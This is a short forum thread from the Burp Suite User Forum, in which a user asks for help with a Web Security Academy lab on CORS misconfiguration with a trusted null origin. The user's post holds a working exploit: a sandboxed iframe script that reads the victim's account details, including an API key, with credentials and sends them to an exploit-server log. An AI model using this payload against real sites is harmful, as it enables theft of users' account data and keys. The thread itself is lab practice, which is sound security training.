The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

CORS vulnerability with trusted null origin sends site to victim but victim does not visit site

houzichaoisii | Last updated: Aug 19, 2024 07:37AM UTC

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0a7600fa04127d458022269e00e60074.web-security-academy.net/accountDetails',true); req.withCredentials = true; req.send(); function reqListener() { location='https://exploit-0a37005604c97d3f801625f701bc007c.exploit-server.net/log?key='+encodeURIComponent(this.responseText); }; </script>"></iframe> I checked the access log after sending this to the victim, but all that came back was my own API key.

houzichaoisii | Last updated: Aug 19, 2024 07:41AM UTC

/exploitをついかしたらいけた

Ben, PortSwigger Agent | Last updated: Aug 20, 2024 07:18AM UTC